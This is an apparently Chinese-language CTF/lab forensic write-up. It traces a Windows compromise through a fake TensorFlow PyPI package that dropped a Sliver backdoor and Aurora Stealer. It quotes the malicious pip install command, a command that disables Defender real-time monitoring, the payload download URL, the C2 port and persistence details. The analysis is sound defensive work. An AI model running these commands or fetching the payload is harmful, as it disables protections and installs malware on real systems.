[CyberDefenders Write-up] 恶意PyPI包(从pip到Sliver和Aurora窃取器)
Chicken0248 著 · 7分钟阅读 · 3天前
场景 作为一名SOC分析师,你被要求检查用户收件箱中一份可疑文档。你的同事说他没发现任何可疑之处。然而,将该文档放入沙箱分析环境后,触发了警报。你的工作是进一步调查该文档,并确认其是否为恶意文件。
类别:端点取证 工具: EZ Tools DB Browser for SQLite Strings Event Log Explorer
在本实验中,我们将分析从C盘收集到的Windows系统工件。根据本实验的名称,很明显,我们处理的是系统因安装恶意PyPI包而遭入侵的案例。
问题
Q1: Alex Rivera博士最近下载了一个外部库,这引发了对系统安全的怀疑。你能识别出用于此次下载的具体命令吗?
谈到Python包(PyPI)时,我们可能会涉及到pip。有两种主要方法可以获取用于通过pip安装恶意包的命令。
首先是特定用户的ConsoleHost_history.txt文件。这里我们只有Administrator用户,因此我检查了控制台主机历史记录,其中存储了每个用户的PowerShell命令行历史。我发现通过pip从a1l4m(本实验的创建者)的GitHub仓库安装了Python包。该Git仓库的名称表明,Alex Rivera博士认为这可能是合法的TensorFlow包,而正是这个包导致了该机器的入侵。
第二种方法是命令行日志记录(如果已启用)。但遗憾的是,此系统上未启用该功能,考虑到a1l4m是此实验的作者,这也在意料之中。
pip install git+https://github.com/a1l4m/TensorFlow.git#egg=TensorFlow
Q2: 在调查过程中,你发现一条修改系统安全设置并导致Windows Defender以某种方式被禁用的命令,这种方式可能对攻击者有利。这条命令是什么?
由于我们有预读取文件,可用于创建每个.exe文件的执行时间线,因此我使用了Eric Zimmerman工具包中的PECmd来解析整个预读取文件夹,并查看pip可执行文件的执行时间。我们可以看到,在2024-02-25 12:15至12:23期间,pip.exe被执行了4次。我还注意到一个非常显眼的setup.exe,它是在安装虚假TensorFlow包的pip过程中,从临时文件夹执行的。
命令:
PECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\prefetch" --csv .
现在,我将解析整个Windows事件日志文件夹(严格来说,我们只应解析与PowerShell相关的日志),创建一个新的CSV文件,该文件可通过Timeline Explorer打开。这有助于我使用筛选器来查找特定事件。我关注的区域是PowerShell日志,恶意包可能在此运行PowerShell命令来禁用Windows Defender的实时监控。正如我们所见,在2024-02-26 12:22,Set-MpPreference -DisableRealtimeMonitoring $true被执行,这与我们在预读取文件中发现的pip执行时间线相符。
命令:
EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs" --csv . --csvf log_timeline.csv
Set-MpPreference -DisableRealtimeMonitoring $true
Q3: 根据你的时间线分析,你首次观察到导致Windows Defender被禁用的未经授权安全设置更改的日期和时间是什么?
2024-02-26 12:22
Q4: 安全设置被破坏后,系统上出现了一个新文件。该文件的MD5哈希值是什么(它标识了该文件的唯一性)?
从预读取文件时间线中,我们可以看到有两个setup.exe是从虚假TensorFlow包的临时安装文件夹中执行的。我们可以为其中任何一个生成哈希值来得到此问题的答案。
我还会在VirusTotal上搜索此哈希值:23aadf3c98745cf293bff6b1b0980429,结果显示这是Sliver后门程序。一旦执行,该程序应负责与威胁行为者建立反向shell连接。
23aadf3c98745cf293bff6b1b0980429
Q5: 调查在服务器上检测到的恶意文件的来源。在与外部C2服务器开始通信之前,最初下载该文件的确切URL是什么?
在Windows工作站上,使用pip安装包时,会在C:\Users\<username>\AppData\Local\Temp\中创建临时文件。因此,我们可以在VS Code中打开整个文件夹,并使用“在文件中查找”功能搜索Sliver后门程序的文件名。搜索结果揭示了用于下载Sliver后门程序并执行的Python脚本,如上图所示。
http://3.66.85.252:8000/file.exe
Q6: 上一个问题中的文件开始与外部C2服务器通信。此通信使用了哪个端口?
现在回到VirusTotal,我们可以转到“行为”选项卡,找到用于反向shell连接的端口,如上图所示。
8888
Q7: 攻击者通常通过持久化机制来确保其对被入侵系统的持续访问。这种机制是在Rivera博士系统中的何时建立的?
我再次检查预读取文件时间线,寻找诸如reg.exe或schtasks.exe执行之类的“低垂果实”。我们可以看到,在2024-02-26 12:36,schtasks.exe被执行,因此我们应该查看在此期间创建的计划任务。
通过检查Windows\System32\Tasks文件夹,我们可以看到名为“SystemUpdatesDaily”的可疑任务,其修改日期与schtasks.exe执行的时间戳相同。
通过检查任务配置文件,我们可以看到此计划任务将在系统启动时以最高权限(系统)执行Sliver后门程序。现在已确认,该计划任务创建于12:36。
2024-02-26 12:36
Q8: 攻击者完成入侵后,在主机系统上留下了一个特定文件。根据你收集到的信息,提供该文件的名称,它是在攻击者在系统上建立持久化之后不久创建的。
在预读取文件时间线上,我还注意到system.exe的执行,这不是Windows上的标准可执行文件。
我们还有这个可执行文件来计算文件哈希值。可以看到,其修改日期在事件时间范围内,因此该文件是在事件期间创建的(我们也可以将其与MFT和UsnJournal中的文件创建事件关联起来)。
在VirusTotal上搜索此哈希值后,我们现在可以确认此文件是恶意文件,威胁标签将其标识为Aurora Stealer。
system.exe
Q9: 确定问题8中识别的恶意文件开始运行的确切时刻。它首次执行是什么时候?
从预读取文件时间线中可以看出,此文件的首次执行时间为12:42。
2024-02-26 12:42
Q10: 识别出问题8中的恶意文件后,确定其恶意软件家族名称至关重要。此信息对于将攻击与已知威胁相关联并制定适当的防御措施至关重要。问题8中恶意文件的恶意软件家族名称是什么?
正如我们已从常见的威胁标签中发现的,我们也可以查看社区标签,许多恶意软件沙箱也将其标记为Aurora Stealer。
Aurora
CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9XWnhAP6q5FfiGb63VkvyGK4Ts3fFgibXiazrLEdjF1SLWRkmZG8toxbNpAbUM74/kzMRNdLOahR4saFgOpa9EOQEw+1x7NmlRnEAvVbzcj2a4vGpy1VmCzljt2Wfxl0cM=